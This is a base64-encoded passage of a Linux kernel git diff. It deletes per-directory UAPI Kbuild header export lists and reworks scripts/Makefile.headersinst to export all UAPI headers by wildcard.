eSArPSB4dF9oYXNobGltaXQuaAotaGVhZGVyLXkgKz0geHRfaGVscGVyLmgKLWhlYWRlci15ICs9
IHh0X2lwY29tcC5oCi1oZWFkZXIteSArPSB4dF9pcHJhbmdlLmgKLWhlYWRlci15ICs9IHh0X2lw
dnMuaAotaGVhZGVyLXkgKz0geHRfbDJ0cC5oCi1oZWFkZXIteSArPSB4dF9sZW5ndGguaAotaGVh
ZGVyLXkgKz0geHRfbGltaXQuaAotaGVhZGVyLXkgKz0geHRfbWFjLmgKLWhlYWRlci15ICs9IHh0
X21hcmsuaAotaGVhZGVyLXkgKz0geHRfbXVsdGlwb3J0LmgKLWhlYWRlci15ICs9IHh0X25mYWNj
dC5oCi1oZWFkZXIteSArPSB4dF9vc2YuaAotaGVhZGVyLXkgKz0geHRfb3duZXIuaAotaGVhZGVy
LXkgKz0geHRfcGh5c2Rldi5oCi1oZWFkZXIteSArPSB4dF9wa3R0eXBlLmgKLWhlYWRlci15ICs9
IHh0X3BvbGljeS5oCi1oZWFkZXIteSArPSB4dF9xdW90YS5oCi1oZWFkZXIteSArPSB4dF9yYXRl
ZXN0LmgKLWhlYWRlci15ICs9IHh0X3JlYWxtLmgKLWhlYWRlci15ICs9IHh0X3JlY2VudC5oCi1o
ZWFkZXIteSArPSB4dF9ycGZpbHRlci5oCi1oZWFkZXIteSArPSB4dF9zY3RwLmgKLWhlYWRlci15
ICs9IHh0X3NldC5oCi1oZWFkZXIteSArPSB4dF9zb2NrZXQuaAotaGVhZGVyLXkgKz0geHRfc3Rh
dGUuaAotaGVhZGVyLXkgKz0geHRfc3RhdGlzdGljLmgKLWhlYWRlci15ICs9IHh0X3N0cmluZy5o
Ci1oZWFkZXIteSArPSB4dF90Y3Btc3MuaAotaGVhZGVyLXkgKz0geHRfdGNwdWRwLmgKLWhlYWRl
ci15ICs9IHh0X3RpbWUuaAotaGVhZGVyLXkgKz0geHRfdTMyLmgKZGlmZiAtLWdpdCBhL2luY2x1
ZGUvdWFwaS9saW51eC9uZXRmaWx0ZXIvaXBzZXQvS2J1aWxkIGIvaW5jbHVkZS91YXBpL2xpbnV4
L25ldGZpbHRlci9pcHNldC9LYnVpbGQKZGVsZXRlZCBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IGQy
NjgwNDIzZDlhYi4uMDAwMDAwMDAwMDAwCi0tLSBhL2luY2x1ZGUvdWFwaS9saW51eC9uZXRmaWx0
ZXIvaXBzZXQvS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsNSArMCwwIEBACi0jIFVBUEkgSGVh
ZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBpcF9zZXQuaAotaGVhZGVyLXkgKz0gaXBfc2V0
X2JpdG1hcC5oCi1oZWFkZXIteSArPSBpcF9zZXRfaGFzaC5oCi1oZWFkZXIteSArPSBpcF9zZXRf
bGlzdC5oCmRpZmYgLS1naXQgYS9pbmNsdWRlL3VhcGkvbGludXgvbmV0ZmlsdGVyX2FycC9LYnVp
bGQgYi9pbmNsdWRlL3VhcGkvbGludXgvbmV0ZmlsdGVyX2FycC9LYnVpbGQKZGVsZXRlZCBmaWxl
IG1vZGUgMTAwNjQ0CmluZGV4IDYyZDU2MzdjYzBhYy4uMDAwMDAwMDAwMDAwCi0tLSBhL2luY2x1
ZGUvdWFwaS9saW51eC9uZXRmaWx0ZXJfYXJwL0tidWlsZAorKysgL2Rldi9udWxsCkBAIC0xLDMg
KzAsMCBAQAotIyBVQVBJIEhlYWRlciBleHBvcnQgbGlzdAotaGVhZGVyLXkgKz0gYXJwX3RhYmxl
cy5oCi1oZWFkZXIteSArPSBhcnB0X21hbmdsZS5oCmRpZmYgLS1naXQgYS9pbmNsdWRlL3VhcGkv
bGludXgvbmV0ZmlsdGVyX2JyaWRnZS9LYnVpbGQgYi9pbmNsdWRlL3VhcGkvbGludXgvbmV0Zmls
dGVyX2JyaWRnZS9LYnVpbGQKZGVsZXRlZCBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IDBmYmFkOGVm
OTZkZS4uMDAwMDAwMDAwMDAwCi0tLSBhL2luY2x1ZGUvdWFwaS9saW51eC9uZXRmaWx0ZXJfYnJp
ZGdlL0tidWlsZAorKysgL2Rldi9udWxsCkBAIC0xLDE4ICswLDAgQEAKLSMgVUFQSSBIZWFkZXIg
ZXhwb3J0IGxpc3QKLWhlYWRlci15ICs9IGVidF84MDJfMy5oCi1oZWFkZXIteSArPSBlYnRfYW1v
bmcuaAotaGVhZGVyLXkgKz0gZWJ0X2FycC5oCi1oZWFkZXIteSArPSBlYnRfYXJwcmVwbHkuaAot
aGVhZGVyLXkgKz0gZWJ0X2lwLmgKLWhlYWRlci15ICs9IGVidF9pcDYuaAotaGVhZGVyLXkgKz0g
ZWJ0X2xpbWl0LmgKLWhlYWRlci15ICs9IGVidF9sb2cuaAotaGVhZGVyLXkgKz0gZWJ0X21hcmtf
bS5oCi1oZWFkZXIteSArPSBlYnRfbWFya190LmgKLWhlYWRlci15ICs9IGVidF9uYXQuaAotaGVh
ZGVyLXkgKz0gZWJ0X25mbG9nLmgKLWhlYWRlci15ICs9IGVidF9wa3R0eXBlLmgKLWhlYWRlci15
ICs9IGVidF9yZWRpcmVjdC5oCi1oZWFkZXIteSArPSBlYnRfc3RwLmgKLWhlYWRlci15ICs9IGVi
dF92bGFuLmgKLWhlYWRlci15ICs9IGVidGFibGVzLmgKZGlmZiAtLWdpdCBhL2luY2x1ZGUvdWFw
aS9saW51eC9uZXRmaWx0ZXJfaXB2NC9LYnVpbGQgYi9pbmNsdWRlL3VhcGkvbGludXgvbmV0Zmls
dGVyX2lwdjQvS2J1aWxkCmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0NAppbmRleCBlY2IyOTFkZjM5
MGUuLjAwMDAwMDAwMDAwMAotLS0gYS9pbmNsdWRlL3VhcGkvbGludXgvbmV0ZmlsdGVyX2lwdjQv
S2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsMTAgKzAsMCBAQAotIyBVQVBJIEhlYWRlciBleHBv
cnQgbGlzdAotaGVhZGVyLXkgKz0gaXBfdGFibGVzLmgKLWhlYWRlci15ICs9IGlwdF9DTFVTVEVS
SVAuaAotaGVhZGVyLXkgKz0gaXB0X0VDTi5oCi1oZWFkZXIteSArPSBpcHRfTE9HLmgKLWhlYWRl
ci15ICs9IGlwdF9SRUpFQ1QuaAotaGVhZGVyLXkgKz0gaXB0X1RUTC5oCi1oZWFkZXIteSArPSBp
cHRfYWguaAotaGVhZGVyLXkgKz0gaXB0X2Vjbi5oCi1oZWFkZXIteSArPSBpcHRfdHRsLmgKZGlm
ZiAtLWdpdCBhL2luY2x1ZGUvdWFwaS9saW51eC9uZXRmaWx0ZXJfaXB2Ni9LYnVpbGQgYi9pbmNs
dWRlL3VhcGkvbGludXgvbmV0ZmlsdGVyX2lwdjYvS2J1aWxkCmRlbGV0ZWQgZmlsZSBtb2RlIDEw
MDY0NAppbmRleCA3NWE2NjhjYTIzNTMuLjAwMDAwMDAwMDAwMAotLS0gYS9pbmNsdWRlL3VhcGkv
bGludXgvbmV0ZmlsdGVyX2lwdjYvS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsMTMgKzAsMCBA
QAotIyBVQVBJIEhlYWRlciBleHBvcnQgbGlzdAotaGVhZGVyLXkgKz0gaXA2X3RhYmxlcy5oCi1o
ZWFkZXIteSArPSBpcDZ0X0hMLmgKLWhlYWRlci15ICs9IGlwNnRfTE9HLmgKLWhlYWRlci15ICs9
IGlwNnRfTlBULmgKLWhlYWRlci15ICs9IGlwNnRfUkVKRUNULmgKLWhlYWRlci15ICs9IGlwNnRf
YWguaAotaGVhZGVyLXkgKz0gaXA2dF9mcmFnLmgKLWhlYWRlci15ICs9IGlwNnRfaGwuaAotaGVh
ZGVyLXkgKz0gaXA2dF9pcHY2aGVhZGVyLmgKLWhlYWRlci15ICs9IGlwNnRfbWguaAotaGVhZGVy
LXkgKz0gaXA2dF9vcHRzLmgKLWhlYWRlci15ICs9IGlwNnRfcnQuaApkaWZmIC0tZ2l0IGEvaW5j
bHVkZS91YXBpL2xpbnV4L25mc2QvS2J1aWxkIGIvaW5jbHVkZS91YXBpL2xpbnV4L25mc2QvS2J1
aWxkCmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0NAppbmRleCBjMTFiYzQwNDA1M2MuLjAwMDAwMDAw
MDAwMAotLS0gYS9pbmNsdWRlL3VhcGkvbGludXgvbmZzZC9LYnVpbGQKKysrIC9kZXYvbnVsbApA
QCAtMSw2ICswLDAgQEAKLSMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKLWhlYWRlci15ICs9IGNs
ZC5oCi1oZWFkZXIteSArPSBkZWJ1Zy5oCi1oZWFkZXIteSArPSBleHBvcnQuaAotaGVhZGVyLXkg
Kz0gbmZzZmguaAotaGVhZGVyLXkgKz0gc3RhdHMuaApkaWZmIC0tZ2l0IGEvaW5jbHVkZS91YXBp
L2xpbnV4L3JhaWQvS2J1aWxkIGIvaW5jbHVkZS91YXBpL2xpbnV4L3JhaWQvS2J1aWxkCmRlbGV0
ZWQgZmlsZSBtb2RlIDEwMDY0NAppbmRleCBlMmMzZDI1NDA1ZDcuLjAwMDAwMDAwMDAwMAotLS0g
YS9pbmNsdWRlL3VhcGkvbGludXgvcmFpZC9LYnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSwzICsw
LDAgQEAKLSMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKLWhlYWRlci15ICs9IG1kX3AuaAotaGVh
ZGVyLXkgKz0gbWRfdS5oCmRpZmYgLS1naXQgYS9pbmNsdWRlL3VhcGkvbGludXgvc3BpL0tidWls
ZCBiL2luY2x1ZGUvdWFwaS9saW51eC9zcGkvS2J1aWxkCmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0
NAppbmRleCAwY2M3NDdlZmYxNjUuLjAwMDAwMDAwMDAwMAotLS0gYS9pbmNsdWRlL3VhcGkvbGlu
dXgvc3BpL0tidWlsZAorKysgL2Rldi9udWxsCkBAIC0xLDIgKzAsMCBAQAotIyBVQVBJIEhlYWRl
ciBleHBvcnQgbGlzdAotaGVhZGVyLXkgKz0gc3BpZGV2LmgKZGlmZiAtLWdpdCBhL2luY2x1ZGUv
dWFwaS9saW51eC9zdW5ycGMvS2J1aWxkIGIvaW5jbHVkZS91YXBpL2xpbnV4L3N1bnJwYy9LYnVp
bGQKZGVsZXRlZCBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IDhlMDJlNDdjMjBmYi4uMDAwMDAwMDAw
MDAwCi0tLSBhL2luY2x1ZGUvdWFwaS9saW51eC9zdW5ycGMvS2J1aWxkCisrKyAvZGV2L251bGwK
QEAgLTEsMiArMCwwIEBACi0jIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBk
ZWJ1Zy5oCmRpZmYgLS1naXQgYS9pbmNsdWRlL3VhcGkvbGludXgvdGNfYWN0L0tidWlsZCBiL2lu
Y2x1ZGUvdWFwaS9saW51eC90Y19hY3QvS2J1aWxkCmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0NApp
bmRleCBlM2RiNzQwMzI5NmYuLjAwMDAwMDAwMDAwMAotLS0gYS9pbmNsdWRlL3VhcGkvbGludXgv
dGNfYWN0L0tidWlsZAorKysgL2Rldi9udWxsCkBAIC0xLDE1ICswLDAgQEAKLSMgVUFQSSBIZWFk
ZXIgZXhwb3J0IGxpc3QKLWhlYWRlci15ICs9IHRjX2NzdW0uaAotaGVhZGVyLXkgKz0gdGNfZGVm
YWN0LmgKLWhlYWRlci15ICs9IHRjX2dhY3QuaAotaGVhZGVyLXkgKz0gdGNfaXB0LmgKLWhlYWRl
ci15ICs9IHRjX21pcnJlZC5oCi1oZWFkZXIteSArPSB0Y19uYXQuaAotaGVhZGVyLXkgKz0gdGNf
cGVkaXQuaAotaGVhZGVyLXkgKz0gdGNfc2tiZWRpdC5oCi1oZWFkZXIteSArPSB0Y192bGFuLmgK
LWhlYWRlci15ICs9IHRjX2JwZi5oCi1oZWFkZXIteSArPSB0Y19jb25ubWFyay5oCi1oZWFkZXIt
eSArPSB0Y19pZmUuaAotaGVhZGVyLXkgKz0gdGNfdHVubmVsX2tleS5oCi1oZWFkZXIteSArPSB0
Y19za2Jtb2QuaApkaWZmIC0tZ2l0IGEvaW5jbHVkZS91YXBpL2xpbnV4L3RjX2VtYXRjaC9LYnVp
bGQgYi9pbmNsdWRlL3VhcGkvbGludXgvdGNfZW1hdGNoL0tidWlsZApkZWxldGVkIGZpbGUgbW9k
ZSAxMDA2NDQKaW5kZXggNTNmY2EzOTI1NTM1Li4wMDAwMDAwMDAwMDAKLS0tIGEvaW5jbHVkZS91
YXBpL2xpbnV4L3RjX2VtYXRjaC9LYnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSw1ICswLDAgQEAK
LSMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKLWhlYWRlci15ICs9IHRjX2VtX2NtcC5oCi1oZWFk
ZXIteSArPSB0Y19lbV9tZXRhLmgKLWhlYWRlci15ICs9IHRjX2VtX25ieXRlLmgKLWhlYWRlci15
ICs9IHRjX2VtX3RleHQuaApkaWZmIC0tZ2l0IGEvaW5jbHVkZS91YXBpL2xpbnV4L3VzYi9LYnVp
bGQgYi9pbmNsdWRlL3VhcGkvbGludXgvdXNiL0tidWlsZApkZWxldGVkIGZpbGUgbW9kZSAxMDA2
NDQKaW5kZXggNGNjNGQ2ZTdlNTIzLi4wMDAwMDAwMDAwMDAKLS0tIGEvaW5jbHVkZS91YXBpL2xp
bnV4L3VzYi9LYnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSwxMiArMCwwIEBACi0jIFVBUEkgSGVh
ZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBhdWRpby5oCi1oZWFkZXIteSArPSBjZGMuaAot
aGVhZGVyLXkgKz0gY2RjLXdkbS5oCi1oZWFkZXIteSArPSBjaDExLmgKLWhlYWRlci15ICs9IGNo
OS5oCi1oZWFkZXIteSArPSBmdW5jdGlvbmZzLmgKLWhlYWRlci15ICs9IGdfcHJpbnRlci5oCi1o
ZWFkZXIteSArPSBnYWRnZXRmcy5oCi1oZWFkZXIteSArPSBtaWRpLmgKLWhlYWRlci15ICs9IHRt
Yy5oCi1oZWFkZXIteSArPSB2aWRlby5oCmRpZmYgLS1naXQgYS9pbmNsdWRlL3VhcGkvbGludXgv
d2ltYXgvS2J1aWxkIGIvaW5jbHVkZS91YXBpL2xpbnV4L3dpbWF4L0tidWlsZApkZWxldGVkIGZp
bGUgbW9kZSAxMDA2NDQKaW5kZXggMWM5N2JlNDk5NzFmLi4wMDAwMDAwMDAwMDAKLS0tIGEvaW5j
bHVkZS91YXBpL2xpbnV4L3dpbWF4L0tidWlsZAorKysgL2Rldi9udWxsCkBAIC0xLDIgKzAsMCBA
QAotIyBVQVBJIEhlYWRlciBleHBvcnQgbGlzdAotaGVhZGVyLXkgKz0gaTI0MDBtLmgKZGlmZiAt
LWdpdCBhL2luY2x1ZGUvdWFwaS9taXNjL0tidWlsZCBiL2luY2x1ZGUvdWFwaS9taXNjL0tidWls
ZApkZWxldGVkIGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggZTk2Y2FlN2Q1OGM5Li4wMDAwMDAwMDAw
MDAKLS0tIGEvaW5jbHVkZS91YXBpL21pc2MvS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsMiAr
MCwwIEBACi0jIG1pc2MgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBjeGwuaApkaWZm
IC0tZ2l0IGEvaW5jbHVkZS91YXBpL210ZC9LYnVpbGQgYi9pbmNsdWRlL3VhcGkvbXRkL0tidWls
ZApkZWxldGVkIGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggNWE2OTFlMTBjZDBlLi4wMDAwMDAwMDAw
MDAKLS0tIGEvaW5jbHVkZS91YXBpL210ZC9LYnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSw2ICsw
LDAgQEAKLSMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKLWhlYWRlci15ICs9IGluZnRsLXVzZXIu
aAotaGVhZGVyLXkgKz0gbXRkLWFiaS5oCi1oZWFkZXIteSArPSBtdGQtdXNlci5oCi1oZWFkZXIt
eSArPSBuZnRsLXVzZXIuaAotaGVhZGVyLXkgKz0gdWJpLXVzZXIuaApkaWZmIC0tZ2l0IGEvaW5j
bHVkZS91YXBpL3JkbWEvS2J1aWxkIGIvaW5jbHVkZS91YXBpL3JkbWEvS2J1aWxkCmRlbGV0ZWQg
ZmlsZSBtb2RlIDEwMDY0NAppbmRleCA4MmJkZjU2MjY4NTkuLjAwMDAwMDAwMDAwMAotLS0gYS9p
bmNsdWRlL3VhcGkvcmRtYS9LYnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSwxOCArMCwwIEBACi0j
IFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBpYl91c2VyX2NtLmgKLWhlYWRl
ci15ICs9IGliX3VzZXJfbWFkLmgKLWhlYWRlci15ICs9IGliX3VzZXJfc2EuaAotaGVhZGVyLXkg
Kz0gaWJfdXNlcl92ZXJicy5oCi1oZWFkZXIteSArPSByZG1hX25ldGxpbmsuaAotaGVhZGVyLXkg
Kz0gcmRtYV91c2VyX2NtLmgKLWhlYWRlci15ICs9IGhmaS8KLWhlYWRlci15ICs9IHJkbWFfdXNl
cl9yeGUuaAotaGVhZGVyLXkgKz0gY3hnYjMtYWJpLmgKLWhlYWRlci15ICs9IGN4Z2I0LWFiaS5o
Ci1oZWFkZXIteSArPSBtbHg0LWFiaS5oCi1oZWFkZXIteSArPSBtbHg1LWFiaS5oCi1oZWFkZXIt
eSArPSBtdGhjYS1hYmkuaAotaGVhZGVyLXkgKz0gbmVzLWFiaS5oCi1oZWFkZXIteSArPSBvY3Jk
bWEtYWJpLmgKLWhlYWRlci15ICs9IGhucy1hYmkuaAotaGVhZGVyLXkgKz0gdm13X3B2cmRtYS1h
YmkuaApkaWZmIC0tZ2l0IGEvaW5jbHVkZS91YXBpL3JkbWEvaGZpL0tidWlsZCBiL2luY2x1ZGUv
dWFwaS9yZG1hL2hmaS9LYnVpbGQKZGVsZXRlZCBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IGVmMjNj
Mjk0ZmM3MS4uMDAwMDAwMDAwMDAwCi0tLSBhL2luY2x1ZGUvdWFwaS9yZG1hL2hmaS9LYnVpbGQK
KysrIC9kZXYvbnVsbApAQCAtMSwyICswLDAgQEAKLSMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QK
LWhlYWRlci15ICs9IGhmaTFfdXNlci5oCmRpZmYgLS1naXQgYS9pbmNsdWRlL3VhcGkvc2NzaS9L
YnVpbGQgYi9pbmNsdWRlL3VhcGkvc2NzaS9LYnVpbGQKZGVsZXRlZCBmaWxlIG1vZGUgMTAwNjQ0
CmluZGV4IGQ3OTFlMGFkNTA5ZC4uMDAwMDAwMDAwMDAwCi0tLSBhL2luY2x1ZGUvdWFwaS9zY3Np
L0tidWlsZAorKysgL2Rldi9udWxsCkBAIC0xLDYgKzAsMCBAQAotIyBVQVBJIEhlYWRlciBleHBv
cnQgbGlzdAotaGVhZGVyLXkgKz0gZmMvCi1oZWFkZXIteSArPSBzY3NpX2JzZ19mYy5oCi1oZWFk
ZXIteSArPSBzY3NpX25ldGxpbmsuaAotaGVhZGVyLXkgKz0gc2NzaV9uZXRsaW5rX2ZjLmgKLWhl
YWRlci15ICs9IGN4bGZsYXNoX2lvY3RsLmgKZGlmZiAtLWdpdCBhL2luY2x1ZGUvdWFwaS9zY3Np
L2ZjL0tidWlsZCBiL2luY2x1ZGUvdWFwaS9zY3NpL2ZjL0tidWlsZApkZWxldGVkIGZpbGUgbW9k
ZSAxMDA2NDQKaW5kZXggNWVhZDlmYWMyNjVjLi4wMDAwMDAwMDAwMDAKLS0tIGEvaW5jbHVkZS91
YXBpL3Njc2kvZmMvS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsNSArMCwwIEBACi0jIFVBUEkg
SGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBmY19lbHMuaAotaGVhZGVyLXkgKz0gZmNf
ZnMuaAotaGVhZGVyLXkgKz0gZmNfZ3MuaAotaGVhZGVyLXkgKz0gZmNfbnMuaApkaWZmIC0tZ2l0
IGEvaW5jbHVkZS91YXBpL3NvdW5kL0tidWlsZCBiL2luY2x1ZGUvdWFwaS9zb3VuZC9LYnVpbGQK
ZGVsZXRlZCBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IDk1NzhkOGJkYmYzMS4uMDAwMDAwMDAwMDAw
Ci0tLSBhL2luY2x1ZGUvdWFwaS9zb3VuZC9LYnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSwxNiAr
MCwwIEBACi0jIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBhc2VxdWVuY2Vy
LmgKLWhlYWRlci15ICs9IGFzb2MuaAotaGVhZGVyLXkgKz0gYXNvdW5kLmgKLWhlYWRlci15ICs9
IGFzb3VuZF9mbS5oCi1oZWFkZXIteSArPSBjb21wcmVzc19vZmZsb2FkLmgKLWhlYWRlci15ICs9
IGNvbXByZXNzX3BhcmFtcy5oCi1oZWFkZXIteSArPSBlbXUxMGsxLmgKLWhlYWRlci15ICs9IGZp
cmV3aXJlLmgKLWhlYWRlci15ICs9IGhkc3AuaAotaGVhZGVyLXkgKz0gaGRzcG0uaAotaGVhZGVy
LXkgKz0gc2IxNl9jc3AuaAotaGVhZGVyLXkgKz0gc2ZudF9pbmZvLmgKLWhlYWRlci15ICs9IHRs
di5oCi1oZWFkZXIteSArPSB1c2Jfc3RyZWFtLmgKLWhlYWRlci15ICs9IHNuZF9zc3RfdG9rZW5z
LmgKZGlmZiAtLWdpdCBhL2luY2x1ZGUvdWFwaS92aWRlby9LYnVpbGQgYi9pbmNsdWRlL3VhcGkv
dmlkZW8vS2J1aWxkCmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0NAppbmRleCBhYzcyMDNiYjMyY2Mu
LjAwMDAwMDAwMDAwMAotLS0gYS9pbmNsdWRlL3VhcGkvdmlkZW8vS2J1aWxkCisrKyAvZGV2L251
bGwKQEAgLTEsNCArMCwwIEBACi0jIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSAr
PSBlZGlkLmgKLWhlYWRlci15ICs9IHNpc2ZiLmgKLWhlYWRlci15ICs9IHV2ZXNhZmIuaApkaWZm
IC0tZ2l0IGEvaW5jbHVkZS91YXBpL3hlbi9LYnVpbGQgYi9pbmNsdWRlL3VhcGkveGVuL0tidWls
ZApkZWxldGVkIGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggNWM0NTk2MjhlOGM3Li4wMDAwMDAwMDAw
MDAKLS0tIGEvaW5jbHVkZS91YXBpL3hlbi9LYnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSw1ICsw
LDAgQEAKLSMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKLWhlYWRlci15ICs9IGV2dGNobi5oCi1o
ZWFkZXIteSArPSBnbnRhbGxvYy5oCi1oZWFkZXIteSArPSBnbnRkZXYuaAotaGVhZGVyLXkgKz0g
cHJpdmNtZC5oCmRpZmYgLS1naXQgYS9pbmNsdWRlL3ZpZGVvL0tidWlsZCBiL2luY2x1ZGUvdmlk
ZW8vS2J1aWxkCmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0NAppbmRleCBlNjlkZTI5YmIyZDEuLjAw
MDAwMDAwMDAwMApkaWZmIC0tZ2l0IGEvc2NyaXB0cy9NYWtlZmlsZS5oZWFkZXJzaW5zdCBiL3Nj
cmlwdHMvTWFrZWZpbGUuaGVhZGVyc2luc3QKaW5kZXggODc2YjQyY2ZlZGU0Li4xNmFjM2U3MTA1
MGUgMTAwNjQ0Ci0tLSBhL3NjcmlwdHMvTWFrZWZpbGUuaGVhZGVyc2luc3QKKysrIGIvc2NyaXB0
cy9NYWtlZmlsZS5oZWFkZXJzaW5zdApAQCAtMSwxNyArMSwxOSBAQAogIyA9PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PQogIyBJbnN0YWxsaW5nIGhlYWRlcnMKICMKLSMgaGVhZGVyLXkgIC0gbGlzdCBmaWxlcyB0
byBiZSBpbnN0YWxsZWQuIFRoZXkgYXJlIHByZXByb2Nlc3NlZAotIyAgICAgICAgICAgICB0byBy
ZW1vdmUgX19LRVJORUxfXyBzZWN0aW9uIG9mIHRoZSBmaWxlCi0jIGdlbmhkci15ICAtIFNhbWUg
YXMgaGVhZGVyLXkgYnV0IGluIGEgZ2VuZXJhdGVkLyBkaXJlY3RvcnkKKyMgQWxsIGhlYWRlcnMg
dW5kZXIgaW5jbHVkZS91YXBpLCBpbmNsdWRlL2dlbmVyYXRlZC91YXBpLAorIyBhcmNoLzxhcmNo
Pi9pbmNsdWRlL3VhcGkvYXNtIGFuZCBhcmNoLzxhcmNoPi9pbmNsdWRlL2dlbmVyYXRlZC91YXBp
L2FzbSBhcmUKKyMgZXhwb3J0ZWQuCisjIFRoZXkgYXJlIHByZXByb2Nlc3NlZCB0byByZW1vdmUg
X19LRVJORUxfXyBzZWN0aW9uIG9mIHRoZSBmaWxlLgogIwogIyA9PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQog
CiAjIGdlbmVyYXRlZCBoZWFkZXIgZGlyZWN0b3J5CiBnZW4gOj0gJChpZiAkKGdlbiksJChnZW4p
LCQoc3Vic3QgaW5jbHVkZS8saW5jbHVkZS9nZW5lcmF0ZWQvLCQob2JqKSkpCiAKKyMgS2J1aWxk
IGZpbGUgaXMgb3B0aW9uYWwKIGtidWlsZC1maWxlIDo9ICQoc3JjdHJlZSkvJChvYmopL0tidWls
ZAotaW5jbHVkZSAkKGtidWlsZC1maWxlKQorLWluY2x1ZGUgJChrYnVpbGQtZmlsZSkKIAogIyBj
YWxsZWQgbWF5IHNldCBkZXN0aW5hdGlvbiBkaXIgKHdoZW4gaW5zdGFsbGluZyB0byBhc20vKQog
X2RzdCA6PSAkKGlmICQoZHN0KSwkKGRzdCksJChvYmopKQpAQCAtMjUsOSArMjcsMTIgQEAgaW5j
bHVkZSBzY3JpcHRzL0tidWlsZC5pbmNsdWRlCiAKIGluc3RhbGxkaXIgICAgOj0gJChJTlNUQUxM
X0hEUl9QQVRIKS8kKHN1YnN0IHVhcGkvLCwkKF9kc3QpKQogCi1oZWFkZXIteSAgICAgIDo9ICQo
c29ydCAkKGhlYWRlci15KSkKLXN1YmRpcnMgICAgICAgOj0gJChwYXRzdWJzdCAlLywlLCQoZmls
dGVyICUvLCAkKGhlYWRlci15KSkpCi1oZWFkZXIteSAgICAgIDo9ICQoZmlsdGVyLW91dCAlLywg
JChoZWFkZXIteSkpCitzdWJkaXJzICAgICAgIDo9ICQocGF0c3Vic3QgJChzcmN0cmVlKS8kKG9i
aikvJS8uLCUsJCh3aWxkY2FyZCAkKHNyY3RyZWUpLyQob2JqKS8qLy4pKQorc3ViZGlycyAgICAg
ICArPSAkKHN1YmRpci15KQoraGVhZGVyLWZpbGVzICA6PSAkKG5vdGRpciAkKHdpbGRjYXJkICQo
c3JjdHJlZSkvJChvYmopLyouaCkpCitoZWFkZXItZmlsZXMgICs9ICQobm90ZGlyICQod2lsZGNh
cmQgJChzcmN0cmVlKS8kKG9iaikvKi5hZ2gpKQorZ2VuaGRyLWZpbGVzICA6PSAkKG5vdGRpciAk
KHdpbGRjYXJkICQoc3JjdHJlZSkvJChnZW4pLyouaCkpCitnZW5oZHItZmlsZXMgIDo9ICQoZmls
dGVyLW91dCAkKGhlYWRlci1maWxlcyksICQoZ2VuaGRyLWZpbGVzKSkKIAogIyBmaWxlcyB1c2Vk
IHRvIHRyYWNrIHN0YXRlIG9mIGluc3RhbGwvY2hlY2sKIGluc3RhbGwtZmlsZSAgOj0gJChpbnN0
YWxsZGlyKS8uaW5zdGFsbApAQCAtMzUsMjUgKzQwLDIzIEBAIGNoZWNrLWZpbGUgICAgOj0gJChp
bnN0YWxsZGlyKS8uY2hlY2sKIAogIyBnZW5lcmljLXkgbGlzdCBhbGwgZmlsZXMgYW4gYXJjaGl0
ZWN0dXJlIHVzZXMgZnJvbSBhc20tZ2VuZXJpYwogIyBVc2UgdGhpcyB0byBidWlsZCBhIGxpc3Qg
b2YgaGVhZGVycyB3aGljaCByZXF1aXJlIGEgd3JhcHBlcgotd3JhcHBlci1maWxlcyA6PSAkKGZp
bHRlciAkKGhlYWRlci15KSwgJChnZW5lcmljLXkpKQorZ2VuZXJpYy1maWxlcyA6PSAkKG5vdGRp
ciAkKHdpbGRjYXJkICQoc3JjdHJlZSkvaW5jbHVkZS91YXBpL2FzbS1nZW5lcmljLyouaCkpCit3
cmFwcGVyLWZpbGVzIDo9ICQoZmlsdGVyICQoZ2VuZXJpYy1maWxlcyksICQoZ2VuZXJpYy15KSkK
K3dyYXBwZXItZmlsZXMgOj0gJChmaWx0ZXItb3V0ICQoaGVhZGVyLWZpbGVzKSwgJCh3cmFwcGVy
LWZpbGVzKSkKIAogc3JjZGlyICAgICAgICA6PSAkKHNyY3RyZWUpLyQob2JqKQogZ2VuZGlyICAg
